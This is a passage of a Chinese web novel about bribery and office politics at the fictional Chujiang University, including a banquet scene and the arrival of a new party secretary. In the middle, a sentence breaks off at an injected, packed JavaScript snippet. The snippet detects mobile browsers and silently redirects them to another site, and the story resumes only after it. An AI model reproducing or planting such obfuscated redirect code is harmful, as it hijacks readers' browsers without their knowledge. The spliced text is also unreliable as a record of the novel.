这电话一挂,孟超可吓得不轻,额头瞬间冒出一片冷汗。他深知何荣坤此人性格狷介,睚眦必报。抛开那位不知真假的“省里的领导”不说,若是得罪了他,今后楚江大学各种基建项目的审批,只要他稍有卡顿,都够他孟超喝一壶的。 孟超有些慌神,赶紧回拨过去。一连三通电话,都是响了很久却无人接听,显然是在故意摆谱。孟超急得像热锅上的蚂蚁,在办公室里团团转。情急之下,他找来钟德君商量。钟德君沉吟片刻,提出让何荣坤的同学顾明远出面。 听完钟德君的提议,孟超眉头先是下意识地锁紧。“顾明远”三个字像一颗裹着糖衣的药丸,有时硌得他喉头不舒服。他是老校长吴若甫的乘龙快婿,这层金光闪闪的身份,孟超心知肚明,得罪不起。可一想到每次他打交道,他身上不自觉地流露出的文人那种较真和文绉气息,总让人不太自在,难免生出些疏离感。 眼下似乎再无更合适的桥梁能通到何荣坤那里。再三权衡,无奈之下,孟超只好亲自给顾明远打去了电话。 电话响了五六声才被接起。在得知是孟超后,顾明远的声音温和中依然略显疏淡:“孟校长你好。” “明远,没打扰你吧?”孟超努力让声音显得热络自然。 “谈不上打扰,正在备课,你说吧。”顾明远的语气依然不很热烈。 这样的态度如果换成别人,早就要挨了孟超的一顿尅,但顾明远不是别人,孟超只能忍着性子尽量让音调柔和:“是这样,有个事情,可能还得麻烦你帮个小忙……。” 电话那头沉默了片刻,孟超几乎能想象出顾明远反感的样子。果然,他开口没有直接应承,反而斟酌着词句问道:“孟校长,此事……。你也知道,我和何荣坤其实联系并不多,现在贸然找他,是不是有点唐突啊。” 孟超听得心里一阵腻味,又不好发作:“没问题呀。同学之间感情最真,让你出面,显得更尊重嘛,说话也方便。”孟超赶紧保证,心里却暗骂这书呆子的较真劲儿。 “唔,话虽如此,我和他说什么呢?尺度也不好把握呀?跟他们这些当官的打交道,言有所止,难受得很。” 这种较真的语气,让孟超有些煎熬,却又不得不耐着性子周旋解释。几个回合下来,孟超感觉像完成了一场答辩,额角竟微微冒出汗来。钟德君在一旁看得着急,从手中拿过电话几乎对顾明远嚷了起来:“老顾你架子也太大了吧?孟校长这也是为学校的工作呢。” 钟德君这一嗓子似乎敲醒了顾明远,话里的意思总算有了松动:“既然这样,那我试着联系联系吧。不过,孟校长,话需说在前头,成与不成,可不是我能决定的,是吧?” 最后那句“是吧?”说得彬彬有礼,却也清清楚楚地划定了界限,透露出文人那份不愿沾染俗务、更不想担责任的小精明。 孟超心里啐了一口,嘴上却显出满意:“那就等你消息了。” 挂断电话,孟超长出一口气。 何荣坤显然没有顾明远想象的那么高深。一个电话打去,何荣坤爽快地答应了接受孟超宴请的请求。 第二天中午,顾明远按照钟德君给的地址,准时来到磨山脚下的一家酒楼。他对这种漫长而又繁杂的宴请似乎有着天生的恐惧,推开沉重的雕花木门,里面的冷气夹杂着酒香扑面而来,却驱不散他胸口的滞闷与压抑。 隔着包房的屏风,他一眼看见何荣坤那标志性的大背头在柔和的灯光下泛着油光,正与孟超相谈甚欢。 看见顾明远推门进来,何荣坤立 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顾明远听得一阵反胃,忍不住在心里骂道:娘的,我给他汇报得着吗? 何荣坤笑而不语,端起茶杯轻轻吹了吹气,左手无名指上戴着一枚翠绿的玉扳指显得特别打眼,顾明远听钟德君提起过,现在当官的好像特别流行佩戴这玩意儿,听说可以确保官运亨通、仕途畅达。 何荣坤似乎要刻意显出同学情深,看见服务员还在收拾桌子,特意将顾明远拉到外面的凉亭上说话。刚一坐下,何荣坤忽然叹了口气,身体向后靠在栏杆上发起感慨来:“老顾,算算看,咱们认识多少年了?有十几年了吧?时间过得真快啊,一晃眼的功夫。” “毕业到现在,正好十四年。”顾明远的回答有些机械,目光游离在桌上的茶具之间。 何荣坤转动着手中的茶杯,眼神略显迷离,仿佛陷入了回忆:“你知道我现在最怀念什么吗?就是当年在大学里,虽然穷点,但心思简单,目标纯粹。哪像现在……”,他顿了顿,意有所指地瞟了一眼门口方向,压低声音:“处处都是算计,人人戴着面具,一句话拐三个弯,累得很。” 顾明远心想,这不正是你何荣坤最为擅长的吗?但他不愿接这个话茬,只是淡淡地应和道:“都不容易。孟校长他们……也挺难的。” “不容易?”何荣坤从鼻子里轻轻嗤笑一声,带着一种居高临下的洞悉感:“老同学,你到底是象牙塔里的学者,有些事看不透啊。你们楚江大学现在这局面,周濂书记校长一肩挑可能长期下去吗?我看未必。你们这位孟副校长精明着呢,眼光放得远得很呢。” 顾明远手指一颤,手中的茶水溅出几滴,不知道该怎么说才好。正在这是,钟德君从包房里走了出来,手里拿着一个厚厚的牛皮信封,也不回避顾明远,直接塞进何荣坤的手中:“这是孟校长的一点心意。” 何荣坤尴尬地看着顾明远笑了笑:“老同学,你看你们这些知识分子现在怎么也变成了这样呢”,说罢,故意将信封塞回给钟德君:“快拿回去吧,别玷污了咱们老同学的情分。” 一直在门内留意动静的孟超恰到好处地推门走了出来,脸上堆着夸张而热络的笑容:“看来还是老同学感情深啊”,说罢,给钟德君使了个眼色。钟德君赶紧拉着顾明远回到了包房。 孟超趁机向何荣坤吐起了苦水,意思是现在宿舍楼装修开标在即,如果临时加塞恐怕引起不必要的麻烦,希望何处长多多在“省里的领导”面前美言几句。 信封在手,何荣坤心情爽朗,早就将虚构“省里的领导”的托付抛到了九霄云外。即便如此,架子还必须端足:“孟校长,既然话说到这个份上,我再遮遮掩掩,倒显得我不够意思了。干脆给你交个底吧,也省得你疑心我空口白牙忽悠你。那位弓长张的省领导,你应该听说过的吧?”他故意在此处停顿,意味深长地看着孟超瞬间变得紧张而敬畏的表情,又继说续道:“当然咯,领导也只是表示关心,希望有实力的企业能参与建设。如果孟校长你们这次确实有困难,我一定帮你圆场。不过,孟校长说好了哦,以后如果再有吩咐,我就不好帮你们说话罗。” 孟超额头上已经渗出细密的汗珠。省领导中确实有两位“弓长张”的,他心中再无怀疑,忙不迭地对何荣坤一顿感谢。 送走何荣坤后,顾明远有意错开和孟超他们一路回校的车子,独自一人搭了的士返回。一路上,何荣坤那故作高深的笑容、孟超那毕恭毕敬的神态、钟德君递上的厚重沉甸的信封……,这些画面在他脑海中反复闪回,让他胃里一阵阵翻腾,说不出的憋闷与恶心。 孟超刚应付完何荣坤这场突如其来的“风暴”,陪着笑脸送走这尊大神,还没来得及喘口气,办公室主任冯伟就找了过来,说是周校长请他立刻去办公室一趟。 孟超刚一回到办公室,就被冯伟请进了周濂的办公室。 如今的周濂,气势已非昔日可比。目光更加锐利,步伐更加沉稳,甚至连走路时皮鞋落地的声音,似乎也自带看一种不容置疑的权威。 孟超刚一坐定,周濂就扬着下巴说道:“省发改委的卞建桥处长,你应该知道的吧?就是咱们学校财经学院那个青年教师卞同峰的亲叔叔。上午卞处长打来电话,说是可以给学校划拨一笔一千万的专款。” 孟超心里一顿:不会是黄鼠狼给鸡拜年啊。嘴上乐呵呵地说道:“这事好事啊。一千万可不是个小数目。” 果然,孟超担心的事情出现了。周濂沉吟了片刻后说道:“好是好啊。卞处长还提了个要求,他的妻弟……好像也是搞装修这一行的,希望能有机会参与一下宿舍楼的装修。孟校长,你看……?” 周濂的声音不轻不重,语气平淡,却像一记无形的闷棍,狠狠敲在孟超的头上。他感到喉咙一阵发干,像是被什么东西堵住了。他脑海中飞快地闪过那九家已经各有来头的公司名单。刚刚送走了一头饿狼,现在横刺里又冲出一头恶虎。孟超下意识地绞紧手指,声音都有些发涩:“周校长……这……明天就开标了,所有投标人都已经确定,流程都走完了,现在突然……是不是有点太晚了啊?” “晚?”周濂轻轻打断他,脸上依旧带着那抹淡淡的微笑,但眼神却锐利起来:“卞处长那边对学校的作用你应该是知道的嘛。”说吧,起身缓缓踱步到窗前,阳光将他投下的影子拉得很长,正好将坐在沙发上的孟超笼罩其中。转过头来,周濂声音不高却像重锤一样敲在孟超心上:“孟校长,我相信你是有办法的嘛。一千万到账,也算是你的一个政绩呢。” 孟超太明白周濂话语中的弦外之音了。此时此刻,除了硬着头皮答应,他几乎没有其他的选择。 走出周濂的办公室,孟超的后背早就被汗水浸透,胸中一股憋屈窝火无处发泄,他左右看看走廊无人,终于忍不住狠狠对着光洁的地面啐了一口,压低声音骂了一句:“妈的。这家‘大便’‘小便’真是让人不活了啊。” 39. 宴请风云 这天,顾明远正在教研室里批改作业。午后的阳光透过百叶窗,在摊开的作业本上切出明暗交错的光栅。门“吱呀”一声被推开一条缝,钟德君那颗日渐浑圆的脑袋鬼鬼祟祟地探了进来,脸上堆着坏笑。 “顾—教—授……”,他故意拖着长音,像唱戏一般滑到桌前。 顾明远笔尖一顿,墨水在纸面上洇开一个小点。他头也不抬,声音里透着惯常的不耐烦:“有屁快放。” 钟德君浑不在意,顺手抄起顾明远的搪瓷杯抿了一口,顿时五官皱成一团:“呸,你这泡的是黄连还是茶?”他吐着舌头,活像条被踩了尾巴的狗。 “我可没有公款买好茶给你喝”,顾明远终于掀起眼皮看了他一眼,目光冷飕飕的冷笑道:“爱喝不喝。” 钟德君一屁股坐上办公桌,压住半沓作业本:“猜猜我为什么来?” 顾明远举起挂在脖间的工卡在钟德君眼前晃了晃:“看见没?现在是上班时间,我忙着呢。” 钟德君有些失望:“你这人有时没劲。我这里可是重磅消息哦。” “得了吧。”顾明远嗤笑一声:“上回你说‘重磅消息’,不过是总务处给每个教室加配了扩音器而已。” “这次绝对有含金量。”钟德君急得直跺脚,活像个兜售秘密的蹩脚商人:“走,反正快要下班了,我请你去‘阿芳酒家’说去。” 刚走下楼,迎面撞见了吴雅娟。她挑眉打量着这勾肩搭背的两人,目光在钟德君谄笑的脸上停留片刻:“又去喝酒?” 钟德君立刻挺直腰板,嬉皮笑脸地说道:“雅娟嫂子放心,今天我买单。” 吴雅娟似笑非笑地瞥向顾明远,话里藏针:“就你兜里那几张票子,怕是也请不起的。无所谓,反正他也不会用自己的银子。去吧,早点回来哦。你二姐今天煨了排骨藕汤的。”她的目光在顾明远脸上逡巡一下走了。 “哟,这不是钟大处长吗?”两人刚一走进酒家大门,阿芳的笑声就从二楼飘下来,带着几分夸张的惊喜:“我还以为您把我这小店给忘了呢。” 顾明远抬头望去,只见阿芳倚在楼梯扶手上,一身剪裁得体的墨绿色旗袍包裹着开始发福的身段。如今的“阿芳酒家”早已今非昔比,从当年街角不起眼的小餐馆,蜕变成了装修雅致、生意兴隆的大酒楼。顾明远故意斜睨了钟德君一眼,压低声音道:“你不是个助理吗?啥时变成大处长了?” 钟德君脸上泛红,赶紧将话题转到阿芳身上:“你这两月不见,腰身可是越发丰满了。”他眯着眼打量,手指在空中画了道曲线。 阿芳翻了个白眼,笑骂道:“你真是狗嘴里吐不出象牙。”转头对顾明远笑道:“顾教授,你下半年没来了吧?今天可得尝尝我们新开的日式居酒屋,就在二楼。” 钟德君心里激动,嘴上却装出一副不以为然的样子:“嗛,崇洋媚外,还是小日本。要我说,你随便喝的要比日本清酒强上百倍。” 顾明远拍拍他肩膀:“你也少在这儿搞种族歧视。今天我还就想尝尝清酒。” 经过重装后的二楼别有洞天。淡粉色的樱花壁纸间挂着浮世绘,昏黄的灯笼投下柔和的光晕。一位穿着淡粉色和服的姑娘正九十度鞠躬,用甜糯的声音说道:“いらっしゃいませ(欢迎光临)。” “这可是正宗的日本留学生。”阿芳在钟德君耳边低语。钟德君的目光一下子被吸引了过去,盯着姑娘高高隆起的島田髷(日本未婚女性的一种发型)看得出神,惹得对方连声“よろしくお願いします(请多关照)”,脸颊飞红得像上了胭脂。 酒过三巡,钟德君突然压低声音,神秘兮兮地凑近顾明远:“老顾,想不想听重磅消息?” 顾明远夹了块寿司蘸着酱油,嘴上故作淡定:“爱说不说。” 钟德君把不住自己的嘴巴,得意洋洋地吐出秘密:“江南医院的林思齐离婚都大半年啦。” 顾明远手中的筷子“啪”地掉在桌上,发出清脆的声响。他的心像是被什么重物狠狠撞击了一下,血液瞬间涌上头顶,又在下一秒退得干干净净。 “谁?”他强作镇定地问道,声音却不由自主地发紧。 “我就知道你小子会感兴趣的。”钟德君得意地呷了口清酒,似乎担心顾明远不信,又急着补充道:“这可是你们秦冰纶秦院长昨天在酒桌上亲自透露的。” 顾明远只觉得耳畔嗡鸣作响,钟德君后面说了什么,他一个字也没听进去。林思齐——这个名字在他舌尖无声地滚动。他端起酒杯机械地啜了一口,清酒滑过喉咙,竟品不出半分醇香,只剩下一片弥漫的苦涩,从舌根一直蔓延到心底。 他胡乱扒拉了两口鳗鱼饭,鲜甜的酱汁此刻尝起来味同嚼蜡。米饭粒粒分明,却硬得难以下咽,哽在喉间,堵得他几乎透不过气。 扯了个肚子难受的幌子,顾明远早早和钟德君分了手。然而,他并没有回家。跨上那辆老旧的永久牌自行车,车轮碾过柏油路面时发出细碎的声响。暮色四合,路灯次第亮起,在他身后拖出一道忽长忽短的影子。不知骑了多久,森林公园的侧门出现在眼前。铁栅栏上爬满了藤蔓,在暮色中泛着暗红的光泽。顾明远猛地刹住车,轮胎在砂石路上擦出刺耳的声响。他俯下身子一阵猛蹬,摇摇晃晃冲向太渔桥。桥下的湖水泛着铅灰色的光,倒映着支离破碎的云影。 “啊——”,顾明远猛的一声嘶吼,跪倒在湖畔的草地上,十指深深插进泥土,草叶的汁液染绿了他的指甲,混合着掌心的汗水,散发出苦涩的清香。天边的云絮渐渐染上暮色,恍惚间化作林思齐眼角的笑纹。 这七八年来,林思齐在他脑海——不,是更深的地方,仿佛早已悄无声息融进了他的灵魂。钟德君曾啧啧称她为“极品尤物”,顾明远每次听到都忍不住皱眉。这个词太俗,太艳,配不上她。她不是那种夺目逼人的美,更像窗边一杯清茶飘起的热气,或是深夜翻书时偶然读到的一句诗。她的好看,是安静、清雅而从容的,带着一种不慌不忙的书卷气。你夸她,反而显得笨拙;不夸,又忍不住悄悄多看几眼。 顾明远突然剧烈地咳嗽起来,喉间隐约泛起血腥味。“都大半年了”,钟德君的这句话像把钝刀一下下锯着他的神经。 湖水随风漾起的波声激荡着耳鼓,远处护林人的哨声惊起一群湖滩上的白鹭。 正当顾明远脑子纷乱如麻的时候,手机突然炸响,屏幕上那张女儿安安三岁时一家人的“全家福”照片忽明忽暗。摁下接听键,吴雅娟的声音尖得像是打碎的玻璃:“顾明远,你看看几点了?钟德君说你早走了,你死哪儿去啦?” 顾明远一个激灵,赶紧翻身坐起,骑上车箭也似地冲回家中。吴雅娟怒火正盛,将女儿安安往他身边一推,眼中闪着捕兽夹般的寒光:“不会是和那人单独商量工作了吧?” 顾明远气得下颌线绷得像拉满的弓弦,两眼睁得溜圆,声音冷得结霜似的:“总是这样有意思吗?” 吴雅娟知道顾明远死倔的脾气,也不敢将自己没影儿的怒气无限放大,主动将茶杯递了过来问道:“雅洁告诉我钟德君想请那个江南医院的林医生吃饭,他没跟你说吗?” 顾明远心头一震:看来钟德君也不是事事往外秃噜的。他抿了一口茶,故作漫不经心地说道:“他干嘛跟我说呢”,好奇心又让他追来一句:“他为什么要请人家吃饭?” “好像钟德君的父亲要做一个癌变切除手术,想托林医生牵线找医院里的‘一把刀’专家吧。雅洁说如果硬去排号,只怕还要一两个多月。” 顾明远不想在吴雅娟面前聊起涉及林思齐的话题,将杯子放下后,说是去二姐那里接回安安。 刚走到荷花池边,看见钟德君表情落寞地坐在亭子里发呆,顾明远走上前去故意揶揄道:“你小子挺深沉的嘛。” 钟德君早没了在酒家时的兴奋劲,似乎有些心不在焉,摸了摸安安的脑袋,说了句“深沉个屁”,起身要走。 顾明远觉得蹊跷,拉住他问道:“你不是让林医生牵线吗?搞定了?” 钟德君摇了摇头叹了口气:“刚刚你们秦院长回了电话。唉,没想到林医生连她的账也不买。”说完,手伸在脑后摆了摆,消失在樱花林中。 顾明远有些为钟德君父亲担起心来。走上运动场,他忽然想起第二次拜访林城外教授时,林思齐半开玩笑说了一句“顾老师以后学问上治不了的病尽可以找我哦”的话,也管不了许多,拿起手机拨通了林思齐的电话。 铃响三声,里面传来了那个熟悉而又陌生的声音:“顾老师吧?我还以为相忘于江湖了呢。怎么想起给我打电话?” 顾明远似乎有万千话语想要向她倾诉,但又不敢妄自造次,便有些急切地说出了自己的请求。 “呵呵,没想到你也是来做说客的吧?”电话那头沉默几秒,又传来林思齐的声音:“你知道为什么我拒绝表姐吗?”她的声音忽然很近,仿佛就贴在他耳畔:“她开口闭口就那句‘钱不是问题’,实在让人反感得很。不过,说实话,你们那个钟什么君确实也让人生不出什么好感来。” 顾明远连忙替钟德君找补:“我多说几句林医生别见怪哈。德君这人吧,除了嘴巴没个把门说话糙些外,其实是个热心肠的人,谁真要遇上难处,他都会头一个撸起袖子帮忙的。记得去年他们处的一个年轻同事家里出了火灾,钟德君二话不说,第一个捐款,他的那份仗义,可从不在嘴上显摆的。” 话未说完,林思齐在电话里脆生生地笑了起来,语气舒缓却带着几分明朗的调侃:“顾老师的口才果然名不虚传呀。你这哪里是在夸他,分明是‘道德绑架’我呀——话都说到这份上了,我要是再不答应,岂不是成了冷血无情、阻碍人间真善美的反派了?不过嘛,钟同志有你这么一位替他说好话的朋友,也算是他的福气。行,冲着顾老师的巧舌如簧,这个忙我帮了。” 顾明远没料到表姐秦冰纶无法促成的竟被自己的几句话搞定,兴奋得眼睛里炸开的亮光像是有人往瞳孔里扔了一把星星。思忖了片刻又说道:“这事情林医生还是让秦院长通知钟德君吧,半个字不要说我找过你好吗?” 林思齐口吻里明显有些揶揄的味道:“哟,没想到顾老师还挺谨小慎微的”。顿了顿又说道:“放心吧,我知道你们象牙塔也不是那么清净的。” 第二天中午在食堂用餐,钟德君眉飞色舞将顾明远拉到一边,说是秦冰纶刚刚通知自己,林思齐已经做通了“一把刀”曾照仁的工作,下个礼拜就可以亲自主刀给他父亲做手术。 顾明远淡淡一笑:“可见秦院长还是很有面子的。” 钟德君意犹未尽,压低声音说道:“老顾,林医生这次真是帮了大忙。我有个大胆的想法,你看妥不妥?”说着,便将自己周末请林思齐吃饭的想法说了出来。 “你小子是不是又开始动花花肠子了?”顾明远眼里露出狐疑的光来,拔腿就要离开。钟德君一把拉住他:“我还没说完呢。这事秦院长答应了,如果林医生同意的话,你到时候也来参加呗。” 顾明远心动了一下,嘴上不置可否。 原本以为钟德君只是嘴巴快活,没想到下班后回到家里,吴雅娟告诉他,说是吴雅洁打来电话邀请参加感谢林思齐的宴会。 顾明远故意说道:“我们去凑这个热闹好吗?” “这怎么是凑热闹呢。去帮雅洁助助威嘛。再说,听说你们院的那位也要参加,我不去倒显得露怯了。去,必须去。” 顾明远无奈地笑了起来:女人的逻辑这么奇怪的吗?现在吴雅娟话说到这个份上,自己何乐而不为呢? 吴雅娟对这场宴会的重视程度让顾明远暗自吃惊。离出发还有两小时,她就端坐在梳妆台前精心打扮,眉笔在眉骨上反复游走,画了擦,擦了画。衣柜里的衣服试了个遍,最终选定那件黑色丝绒连衣裙时,又在围巾搭配上犯了难。 “这条墨绿的太老气...香槟金的又太招摇...”,她拽着顾明远来回比划,直到丈夫指着乳白色真丝围巾说了句“这条很好呀”,她才对着镜子露出满意的微笑。 宴会设在很负盛名的“锦华苑”。当众人齐聚包间时,顾明远恍惚走进了时装周后台。除了林思齐那身漫不经心的牛仔裤配着一件浅灰毛衣,其他女人似乎都拿出了看家本领盛装出席。吴雅娟自不必说;秦冰纶那件意大利高定风衣在行走间翻飞,每一步都踏在时尚杂志的节奏上;吴雅洁踩着十厘米的Jimmy Choo,鹿皮短裙包裹的身姿竟显出几分名媛风范;连素来简朴的王菡的眼线在灯下都在闪着细碎的金粉。 钟德君殷勤地想将林思齐引到主位,却被她一个侧身滑到秦冰纶下手身旁。吴雅娟立刻暗掐着顾明远的手肘把他往主位推,顾明远安然不动,示意钟德君将秦冰纶往主席位子上拉。 “这怎么好意思呢”,秦冰纶假意推辞着,最终却仪态万方地落座,气得吴雅娟在桌下狠踩了一下顾明远的皮鞋。林思齐见状要起身换座,钟德君早已将自己嵌在了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904240|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对姐妹花丛间。吴雅娟不想老公顾明远坐在秦冰纶的身旁,起身将马骉按在了秦冰纶左侧的位子上,这倒遂了顾明远的愿望,他趁势坐在了林思齐的下手旁。 平素不爱说话的吴雅娟今天似乎有些亢奋,拽着顾明远满桌子来回敬酒,嘴里一口一个“我们家明远”叫得比蜜还甜,眼风却刀锋一般飞向秦冰纶,那意思是“可别打我男人的主意”。 秦冰纶是楚江大学公认的酒桌上的女王。只要有她在场,全场关注的目光十有八九会聚焦在她的身上。此刻,她的指尖漫不经心地摩挲着酒杯杯沿,冷眼看着吴雅娟像只花蝴蝶似的在酒桌间穿梭,眼底浮着一层薄冰般的讥诮。 等吴雅娟表演得差不多时,秦冰纶优雅地用筷子轻碰了一下杯沿,清脆的音响立刻让酒桌安静了下来。 “德君,今天是你请客吧?”秦冰纶微微侧首,声音不轻不重正好让所有人听清。 正在想方设法和林思齐套近乎的钟德君愣了一下,不知道秦冰纶意欲何为。 “林医生这次可是花了很多心思才帮你父亲请动曾照仁教授主刀的呢。普通患者要得到这样的机会,少说也得两个月以上吧。你不能只顾着拉我妹妹聊天呢。” 钟德君激动得赶紧站起身来:“秦院长,您的意思是?” “给我妹敬酒呀”,秦冰纶轻轻放下刀叉,拿起餐巾优雅地擦了擦嘴角。 随着钟德君一句“今天全都听秦院长您的”,吴雅娟刚搅起的风头就这样被无形的散去了。 林思齐正低头啜饮着清茶,没料到表姐将“战火”引到了自己身上。她手中的茶杯微微一颤,倏地抬起眼帘,长长的睫毛在灯光下投下一片慌乱的阴影——这个向来在手术台上镇定自若的女医生,此刻却像个突然被推到聚光灯下的学生,连耳尖都泛起了淡淡的粉红色。 钟德君举着酒杯凑近林思齐。林思齐下意识地往旁边的顾明远这边看了看,目光中明显带有求助的意思。 顾明远会意,起身拉着钟德君,说是一起向秦院长敬酒。秦冰纶来着不拒,坚持要顾明远说出一个敬酒的理由。顾明远看了林思齐一眼说道:“没有您的牵线,林医生未必会给德君这个面子的。” 秦冰纶这才端起酒杯站起身来,算是对这个理由的完全认可。顾明远和林思齐两人不到一秒的眼神交汇,早就胜过了言语上的交流。在不时的一瞥中,顾明远发现,虽然林思齐一直保持着恰到好处的微笑,但明显地流露出对这种喧嚣场面的不适。心里感叹这是强行将一株空谷幽兰被移植到了喧闹的市集,的确难为了她。 吴雅娟想让秦冰纶出点洋相,便怂恿大家轮番给她敬酒。当吴雅洁端着杯子走上前时,秦冰纶却只拿起面前的茶杯敷衍。她的怠慢让吴雅娟有些愤怒,便拉起马骉出面,当马骉借着酒劲扯了扯秦冰纶的衣袖,却被秦冰纶毫不客气拂开,并借机想泄泄当年半溪酒家的积恨,故作惊讶地转向王菡编起了故事:“王菡你不知道吧?你家马老师喝多了会帮人撒谎打埋伏的呢。” 顾明远吓了一跳,知道这是秦冰纶有意报复马骉,生怕露馅的他赶紧起身在王菡面前打着掩护,气得王菡说了句“回家再收拾你。” 秦冰纶却不依不饶,慢条斯理地晃着红酒杯:“今天你夫人在场,这杯酒还是得和你喝了。”然后眼波流转看了一眼王菡:“今后要管住马老师的嘴哩。” 只想和林思齐套近乎的钟德君对秦冰纶和马骉的“战斗”充耳不闻,他再次拿起酒杯目光灼灼地看着林思齐问道:“林医生,我一直有些好奇,是不是每个医生都像你这么漂亮?” 这个唐突而略显轻佻的问话让林思齐的脸色沉了片刻,丹凤眼中泻出一抹冷笑:“我也想问问钟老师,是不是象牙塔里的知识分子都象你这么有水平?” 顾明远在心里暗暗为林思齐喝了一声彩:妙啊,锋芒全都藏在温柔刀里。秦冰纶适时补刀:“雅洁,你家先生需要醒酒汤了。” 吴雅洁讪笑着把丈夫拽到了自己旁边的座位上。 这时,林思齐的手机振动了几下,她眉头蹙了一蹙,站起身来走出了包房。顾明远趁机建议秦冰纶举杯宣布今天的宴会结束。 分别时,顾明远注意到接完电话后的林思齐目光有些黯淡,趁着吴雅娟不注意,悄悄地问了句“没事吧”。林思齐报以浅笑,只摇了摇头。一旁的秦冰纶狡黠地看了顾明远一眼:“你老婆等着你呢。” 众人散去后,秦冰纶特意拉着表妹林思齐去旁边的湖边散步。果然不出所料,刚才那个电话是许达濠打来的。秦冰纶气得跺着脚骂道:“都离了一年了,这家伙怎么像鬼一样缠人啊。他怎么好意思找你要补偿,你说这姓许的一家怎么都是这么渣啊。”说罢,停下了脚步不停地给林思齐道歉。 林思齐淡然一笑:“事情都过去了,过去就让它过去吧。你是我姐,道歉有啥用?我总不能真的打你一顿吧?不过呀,我可提醒你,四十多啦,你这少女‘外貌协会’心态要好好校正校正。”说完,弯腰捡起一块石片用力一扔,石片在水面上滑行,月光下仿佛撒了一串珍珠在湖面上闪闪发光。 回到家里的吴雅娟一进家门,“砰”地把包摔在沙发上开始抱怨起来:“秦冰纶今天那副做派,还真把自己当女王了。” 顾明远随口回了一句:“还好吧,她一向都是这样。” “还好?”吴雅娟声音陡然拔高:“她对谁笑一笑你就觉得好?真恶心,象个戏子一样。” “冷静点嘛。”顾明远伸手扶了一把正在换裙子的吴雅娟,却被狠狠甩开,嘴里几乎要溅出唾沫来:“你今天觉得我是不是丢了你的面子呀,嗯?” 顾明远知道,凡事喜欢将自己代入进去正是产后综合征患者情绪波动的表现。按照医生“避其锋芒”的交代,他赶紧拿起钥匙说了声“我去外婆家将安安接回”,推门走了出去。 出得门来,顾明远感觉一下子轻松了许多。走在校园林荫道上,月光透过树叶的缝隙斑驳洒落,脑海里情不自禁浮现出晚宴上的情景。这是他第一次近距离、长时间观察到这对“姐妹花”。在他看来:秦冰纶恰似一株怒放的朱砂牡丹,艳丽夺目,举手投足间自带三分贵气;林思齐则像被晨露浸透的兰花,清雅脱俗,尤其是那双丹凤眼,清凌凌映着人间烟火却半点不被污染……。 顾明远深吸一口夜间的清凉空气,心中的纷乱渐渐平息。他知道,明天太阳照常升起,这些暗流涌动的人际关系和难以言说的情感,还会继续在象牙塔里悄然上演。 40. 新人空降 经过漫长等待,楚江大学教工宿舍楼的装修工程终于竣工。作为最后一批福利分房,476套住房牵动全校人心,尤其是那十二套160平方米的“楼王”,更是成为众人瞩目的焦点。 全面主持学校工作的校长周濂,将宿舍分配视为树威立传的重要一役。他知道,这件事弄好了是一项光鲜的政绩工程,弄不好粥少僧多最后会闹个沸反盈天。为此,他最近几乎全身心参与到分房方案制定的全过程。每次研讨,他都要对职称、工龄、双职工等关键因子的赋分问题反复进行推敲和核算。现在,周濂最放心不下的还是现行方案中“以行政职务为赋分基准”的做法,明眼人一看就知道,这样的算法是对校领导和处级干部们有倾斜的,如果细究,对孟超和赵文启两位职称吃亏的大小领导更是利大于弊,这里面显然是有方案具体起草人孟超的私心。 周濂决定找孟超谈谈。他不能任由孟超架空了自己。这事都得他这个楚江大学事实上的“掌门人”说了算。 孟超刚刚说出“160平最好的楼层已经为您预留”,组织部部长葛建军门也没敲就急匆匆地闯了进来。看见孟超在,他赶紧附耳低语了几句。 周濂大惊失色,脱口说了句“是吗?”,随即让孟超先行离开。 葛建军带来的消息不啻于一记惊雷:省委任命的新书记明日便将到校宣布。 周濂只觉得胸口猛地一沉,仿佛被什么重物狠狠击中。他下意识地攥紧手中的钢笔。一年半了——当时省里谈话时温和的嘱托言犹在耳:“老周啊,过渡期好好干,楚江大学今后可就靠你了。”此刻再回想,字字句句竟都化作冰棱,尖锐而寒冷。 这五百多个日夜,他夙兴夜寐,如同一个精心筹备盛宴的主人,事无巨细地张罗着一切:三天两头跑省里争取政策,暗中布局人事棋局,连教工分房方案的每处细节都反复推敲……,他以为这一切铺垫终将水到渠成,只待顺理成章地坐上那个名正言顺的位置。 可如今,“戈大垣”这三个字像一堵冰冷的墙,猝不及防地截断了他的去路。他几乎能想象到,明天之后,那些曾经殷勤的笑脸将会如何躲闪,那些压抑的窃语将在哪个角落滋生。就连窗前那株他亲手浇灌的发财树,此刻静默的绿意也仿佛带上了一丝淡淡的嘲讽。 窗外,一道闪电划破长空,轰隆的雷声震得玻璃嗡嗡作响。望着骤然阴沉的天空,周濂突然意识到:楚江大学的天恐怕要变了。 带着满腹的困惑与不甘,周濂再次叩响了老校长吴若甫的家门。 他并不知道,吴若甫先他一步得到了消息。省里那位老友甚至透露:此番空降并非偶然,背后隐约有已退二线的原书记许继武运作的影子。在有人通风周濂举报自己的消息后,许继武这一年多来就一直没有停止对周濂的反击。虽然发力点不多,但多少还是影响到了上面的决策。吴若甫正斟酌着该如何向周濂透露这层关节,周濂已不请自来登门造访。 吴若甫是真心期盼周濂能够顺利转任书记的。在听说即将空降的书记戈大垣来自公安系统,作风强硬、说一不二,心中对上面这种“拉郎配”式的做法很是不以为然,不免为周濂也为自己乃至女婿顾明远有些担忧起来。 吴若甫的客厅里弥漫着龙井的清香,却化不开周濂眉宇间凝固的阴霾。吴若甫执壶斟茶的时候,氤氲水汽后那双看透世情的眼睛早已将周濂强撑的镇定尽收眼底。 "砰!"周濂无意间将茶杯重重砸在茶几上,震得青瓷茶盏叮当乱颤:"什么空降!分明是长官意志乱弹琴嘛。"他的声音里淬着压抑不住的怒火:"随便塞个公安系统的外行来,这分明是要把我们的心血拱手让人嘛?" 